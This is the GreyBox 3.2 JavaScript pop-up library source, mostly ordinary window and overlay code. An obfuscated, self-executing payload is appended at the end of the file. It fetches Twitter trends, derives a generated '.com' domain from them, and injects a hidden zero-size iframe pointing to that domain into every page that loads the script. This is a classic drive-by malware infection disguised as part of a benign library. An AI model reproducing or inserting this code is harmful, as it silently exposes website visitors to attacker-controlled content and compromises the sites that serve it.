/****
 Last Modified: 23/06/06 01:24:34

 GreyBox - Smart pop-up window
   Copyright Amir Salihefendic 2006
 AUTHOR
   4mir Salihefendic (http://amix.dk) - amix@amix.dk
 VERSION
	 3.2
 LICENSE
  GPL (read more in GPL.txt)
 SITE
  http://orangoo.com/labs/GreyBox/
****/
var GB_CURRENT = null;
var GB_ONLY_ONE = null;

function GreyBox() {
  //Use mutator functions (since the internal stuff may change in the future)
  this.type = "page";
  this.overlay_click_close = true;
  this.img_dir = ".";
  this.overlay_color = "dark";

  this.center_window = false;

  this.g_window = null;
  this.g_container = null;
  this.iframe = null;
  this.overlay = null;
  this.timeout = null;

  this.defaultSize();

  this.url = "";
  this.caption = "";
}

////
// Configuration functions (the functions you can call)
////
/**
  Set the width and height of the GreyBox window.
  Images and notifications are auto-set.
  **/
GreyBox.prototype.setDimension = function(width, height) {
  this.height = height;
  this.width = width;
}

GreyBox.prototype.setFullScreen = function(bool) {
  this.full_screen = bool;
}

/**
  Type can be: page, image
  **/
GreyBox.prototype.setType = function(type) {
  this.type = type;
}

/**
  If bool is true the window will be centered vertically also
  **/
GreyBox.prototype.setCenterWindow = function(bool) {
  this.center_window = bool;
}

/**
  Set the path where images can be found.
  Can be relative: greybox/
  Or absolute: http://yoursite.com/greybox/
  **/
GreyBox.prototype.setImageDir = function(dir) {
  this.img_dir = dir;
}

/**
  If bool is true the grey overlay click will close greybox.
  **/
GreyBox.prototype.setOverlayCloseClick = function(bool) {
  this.overlay_click_close = bool;
}

/**
  Overlay can either be "light" or "dark".
  **/
GreyBox.prototype.setOverlayColor = function(color) {
  this.overlay_color = color;
}

/**
  Set a function that will be called when GreyBox closes
  **/
GreyBox.prototype.setCallback = function(fn) {
  this.callback_fn = fn;
}


////
// Show hide functions
////
/**
  Show the GreyBox with a caption and an url
  **/
GreyBox.prototype.show = function(caption, url) {
  GB_CURRENT = this;

  this.url = url;
  this.caption = caption;

  //Be sure that the old loader and dummy_holder are removed
  AJS.map(AJS.$bytc("div", "GB_dummy"), function(elm) { AJS.removeElement(elm) });
  AJS.map(AJS.$bytc("div", "GB_loader"), function(elm) { AJS.removeElement(elm) });
  
  //If ie, hide select, in others hide flash
  if(AJS.isIe())
    AJS.map(AJS.$bytc("select"), function(elm) {elm.style.visibility = "hidden"});
  AJS.map(AJS.$bytc("object"), function(elm) {elm.style.visibility = "hidden"});

  this.initOverlayIfNeeded();
  
  this.setOverlayDimension();
  AJS.showElement(this.overlay);
  this.setFullScreenOption();

  this.initIfNeeded();

  AJS.hideElement(this.g_window);

  if(this.type == "page")
    AJS.ACN(this.g_container, this.iframe);
  else {
    this.dummy_holder = AJS.DIV({'class': 'GB_dummy', 'style': 'width: 200px; height: 200px; background-color: #fff;'});
    AJS.ACN(this.g_container, this.dummy_holder);
  }

  if(caption == "")
    caption = "&nbsp;";
  this.div_caption.innerHTML = caption;

  AJS.showElement(this.g_window)

  this.setVerticalPosition();
  this.setTopNLeft();
  this.setWidthNHeight();


  this.showLoader();

  GB_CURRENT.startLoading();

  return false;
}

GreyBox.prototype.hide = function() {
  AJS.hideElement(this.g_window, this.overlay);

  try{ AJS.removeElement(this.iframe); }
  catch(e) {}

  this.iframe = null;

  if(this.type == "image") {
    this.width = 200;
    this.height = 200;
  }

  if(AJS.isIe()) 
    AJS.map(AJS.$bytc("select"), function(elm) {elm.style.visibility = "visible"});
  AJS.map(AJS.$bytc("object"), function(elm) {elm.style.visibility = "visible"});

  if(GB_CURRENT.callback_fn)
    GB_CURRENT.callback_fn();

  GB_CURRENT = null;
}

/** 
  If you only use one instance of GreyBox
  **/
GB_initOneIfNeeded = function() {
  if(!GB_ONLY_ONE) {
    GB_ONLY_ONE = new GreyBox();
    GB_ONLY_ONE.setImageDir(GB_IMG_DIR);
  }
}

GB_show = function(caption, url, /* optional */ height, width, callback_fn) {
  GB_ONLY_ONE.defaultSize();
  GB_ONLY_ONE.setFullScreen(false);
  GB_ONLY_ONE.setType("page");

  GB_ONLY_ONE.setCallback(callback_fn);
  GB_ONLY_ONE.setImageDir(GB_IMG_DIR);
  GB_ONLY_ONE.setDimension(width, height);
  GB_ONLY_ONE.show(caption, url);
  return false;
}

GB_showFullScreen = function(caption, url, /* optional */ callback_fn) {
  GB_ONLY_ONE.defaultSize();
  GB_ONLY_ONE.setType("page");

  GB_ONLY_ONE.setCallback(callback_fn);
  GB_ONLY_ONE.setImageDir(GB_IMG_DIR);
  GB_ONLY_ONE.setFullScreen(true);
  GB_ONLY_ONE.show(caption, url);
  return false;
}

GB_showImage = function(caption, url) {
  GB_ONLY_ONE.defaultSize();
  GB_ONLY_ONE.setFullScreen(false);
  GB_ONLY_ONE.setType("image");

  GB_ONLY_ONE.setImageDir(GB_IMG_DIR);
  GB_ONLY_ONE.show(caption, url);
  return false;
}

GB_hide = function() {
  GB_CURRENT.hide();
}

/**
  Preload all the images used by GreyBox. Static function
  **/
GreyBox.preloadGreyBoxImages = function() {
  var pics = [];
  var fn = function(path) { 
    var pic = new Image();
    pic.src = GB_IMG_DIR + path;
    pics.push(pic);
  };
  AJS.map(['indicator.gif', 'blank.gif', 'close.gif', 'header_bg.gif', 'overlay_light.png', 'overlay_dark.png'], AJS.$b(fn, this));
}


////
// Internal functions
////
GreyBox.prototype.getOverlayImage = function() {
  return "overlay_" + this.overlay_color + ".png";
};

/**
  Init functions
  **/
GreyBox.prototype.initOverlayIfNeeded = function() {
  //Create the overlay
  this.overlay = AJS.DIV({'id': 'GB_overlay'});
  if(AJS.isIe()) {
    this.overlay.style.backgroundColor = "#000000";
    this.overlay.style.backgroundColor = "transparent";
    this.overlay.style.backgroundImage = "url("+ this.img_dir +"blank.gif)";
    this.overlay.runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + this.img_dir + this.getOverlayImage() + "',sizingMethod='scale')";
  }
  else 
    this.overlay.style.backgroundImage = "url("+ this.img_dir + this.getOverlayImage() +")";

  if(this.overlay_click_close)
    AJS.AEV(this.overlay, "click", GB_hide);

  AJS.getBody().insertBefore(this.overlay, AJS.getBody().firstChild);
};

GreyBox.prototype.initIfNeeded = function() {
  this.init();
  this.setWidthNHeight = AJS.$b(this.setWidthNHeight, this);
  this.setTopNLeft = AJS.$b(this.setTopNLeft, this);
  this.setFullScreenOption = AJS.$b(this.setFullScreenOption, this);
  this.setOverlayDimension = AJS.$b(this.setOverlayDimension, this);

  GreyBox.addOnWinResize(this.setWidthNHeight, this.setTopNLeft, this.setFullScreenOption, this.setOverlayDimension);

  if(this.type == "page")
    this.g_container.style.marginBottom = "-3px";

  var fn = function() { 
    this.setOverlayDimension();
    this.setVerticalPosition(); 
    this.setTopNLeft();
    this.setWidthNHeight(); 
  };
  AJS.AEV(window, "scroll", AJS.$b(fn, this));

  if(!this.iframe) {
    var new_frame;
    var d = {'name': 'GB_frame', 'class': 'GB_frame', 'frameBorder': 0};
    if(this.type == "page") {
      new_frame = AJS.IFRAME(d);
      AJS.hideElement(new_frame);
    }
    else
     new_frame = new Image();

    this.iframe = new_frame;
  }
}

GreyBox.prototype.init = function() {
  //Create the window
  this.g_window = AJS.DIV({'id': 'GB_window'});

  //Create the table structure
  var table = AJS.TABLE({'class': 'GB_t_frame', 'frameborder': 0});
  var tbody = AJS.TBODY();
  AJS.ACN(table, tbody);

  //Midlle
  var td_middle_m = AJS.TD({'class': 'GB_content'});
  this.td_middle_m = td_middle_m;

  AJS.ACN(tbody, AJS.TR(td_middle_m));

  //Append caption and close
  var header = AJS.DIV({'class': 'GB_header'});
  this.header = header;

  var caption = AJS.DIV({'class': 'GB_caption'});
  this.div_caption = caption;

  var img_close = AJS.IMG({'src': this.img_dir + 'close.gif'});
  var close = AJS.DIV({'class': 'GB_close'}, img_close, "Close");

  AJS.AEV(close, "click", GB_hide);

  header.style.backgroundImage = "url("+ this.img_dir +"header_bg.gif)";

  var dummy = AJS.SPAN();
  dummy.innerHTML = "&nbsp;";
  AJS.ACN(header, close, caption, dummy);
  AJS.ACN(td_middle_m, header);

  //Container
  this.g_container = AJS.DIV({'class': 'GB_container'});
  AJS.ACN(td_middle_m, this.g_container);

  AJS.ACN(this.g_window, table);

  AJS.getBody().insertBefore(this.g_window, this.overlay.nextSibling);
}

GreyBox.prototype.startLoading = function() {
  //Start preloading the object
  this.iframe.src = this.url;

  if(AJS.isIe()) {
    //IE the stupid bitch - needs custom code for this ARGH
    var check_state = function() {
      if(this.iframe.readyState == "complete")
        GreyBox.loaded();
      else
        AJS.callLater(AJS.$b(check_state, this), 30);
    };
    AJS.callLater(AJS.$b(check_state, this), 30);
  }
  //Safari AND opera has a bug with onload.. bah
  else if(AJS.isSafari() || AJS.isOpera() && this.type == "image") {
    AJS.callLater(GreyBox.loaded, 250);
  }
  else {
    this.iframe.onload = GreyBox.loaded;
  }
}

/**
  Loading functions
  **/
GreyBox.loaded = function() {
  var me = GB_CURRENT;

  if(me) {
    AJS.removeElement(me.loader);

    if(me.type == "page") {
      AJS.showElement(me.iframe);
      me.setIframeWidthNHeight();
    }

    if(me.type == "image") {
      var r_img = AJS.IMG({'src': me.url});

      var insert = function() {
        AJS.ACN(GB_CURRENT.g_container, r_img);
        GB_CURRENT.iframe = r_img;
      };
      var count = 0;

      var fn = function() {
        if(count > 10)
          return;
        this.width = this.iframe.width;
        this.height = this.iframe.height;

        if(this.width == 0 || this.height == 0) {
          count++;
          AJS.callLater(AJS.$b(fn, me), 100);
          return;
        }

        //Safari render bugfix
        if(AJS.isSafari())
          this.overlay.style.backgroundColor = "transparent";

        this.setTopNLeft();
        this.setWidthNHeight();
        AJS.removeElement(this.dummy_holder);

        AJS.callLater(AJS.$b(insert, me), 50);

        count++;
      };
      AJS.callLater(AJS.$b(fn, me), 100);
    }
  }
}

GreyBox.prototype.showLoader = function() {
  this.loader = AJS.DIV({'class': 'GB_loader'});
  
  AJS.setWidth(this.loader, this.width);
  AJS.setHeight(this.loader, this.height-3);

  var indicator = AJS.IMG({'src': this.img_dir + 'indicator.gif'});
  AJS.ACN(this.loader, AJS.BR(), indicator, AJS.BR(), AJS.BR(), AJS.SPAN("LOADING..."));

  if(this.type != "page") {
    AJS.RCN(this.dummy_holder, this.loader);
    AJS.setTop(this.loader, AJS.absolutePosition(this.dummy_holder).y);
  }
  else {
    AJS.ACN(this.g_container, this.loader);
    AJS.setTop(this.loader, AJS.absolutePosition(this.iframe).y);
    AJS.showElement(this.loader);
  }
}

/**
  Set dimension functions
  **/
GreyBox.prototype.setIframeWidthNHeight = function() {
  try{
    AJS.setWidth(this.iframe, this.width);
    AJS.setHeight(this.iframe, this.height-3);
  }
  catch(e) {
  }
}

GreyBox.prototype.setOverlayDimension = function() {
  var array_page_size = GreyBox.getWindowSize();
  if((navigator.userAgent.toLowerCase().indexOf("firefox") != -1))
   AJS.setWidth(this.overlay, "100%");
  else
   AJS.setWidth(this.overlay, array_page_size[0]);

  var max_height = Math.max(AJS.getScrollTop()+array_page_size[1], AJS.getScrollTop()+this.height);
  if(max_height < AJS.getScrollTop())
    AJS.setHeight(this.overlay, max_height);
  else
    AJS.setHeight(this.overlay, AJS.getScrollTop()+array_page_size[1]);
}

GreyBox.prototype.setWidthNHeight = function() {
  //Set size
  AJS.setWidth(this.g_window, this.width);
  AJS.setHeight(this.g_window, this.height);

  AJS.setWidth(this.g_container, this.width);
  AJS.setHeight(this.g_container, this.height);

  if(this.type == "page")
    this.setIframeWidthNHeight();

  //Set size on components
  AJS.setWidth(this.td_middle_m, this.width+10);
}

GreyBox.prototype.setTopNLeft = function() {
  var array_page_size = GreyBox.getWindowSize();
  AJS.setLeft(this.g_window, ((array_page_size[0] - this.width)/2)-13);

  if(this.center_window) {
    var fl = ((array_page_size[1] - this.height) /2) - 15;
    AJS.setTop(this.g_window, fl);
  }
  else {
    if(this.g_window.offsetHeight < array_page_size[1])
      AJS.setTop(this.g_window, AJS.getScrollTop());
  }
}

GreyBox.prototype.setVerticalPosition = function() {
  var array_page_size = GreyBox.getWindowSize();
  var st = AJS.getScrollTop();
  if(this.g_window.offsetWidth <= array_page_size[1] || st <= this.g_window.offsetTop) {
    AJS.setTop(this.g_window, st);
  }
}

GreyBox.prototype.setFullScreenOption = function() {
  if(this.full_screen) {
    var array_page_size = GreyBox.getWindowSize();

    overlay_h = array_page_size[1];

    this.width = Math.round(this.overlay.offsetWidth - (this.overlay.offsetWidth/100)*10);
    this.height = Math.round(overlay_h - (overlay_h/100)*10);
  }
}

GreyBox.prototype.defaultSize = function() {
  this.width = 300;
  this.height = 300;
}

////
// Misc.
////
GreyBox.getWindowSize = function() {
	var window_width, window_height;
	if (self.innerHeight) {	
		window_width = self.innerWidth;
		window_height = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { 
		window_width = document.documentElement.clientWidth;
		window_height = document.documentElement.clientHeight;
	} else if (document.body) { 
		window_width = document.body.clientWidth;
		window_height = document.body.clientHeight;
	}	
	return [window_width, window_height];
}

GreyBox.addOnWinResize = function(funcs) {
  funcs = AJS.$A(funcs);
  AJS.map(funcs, function(fn) { AJS.AEV(window, "resize", fn); });
}

GB_ONLY_ONE = new GreyBox();


(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

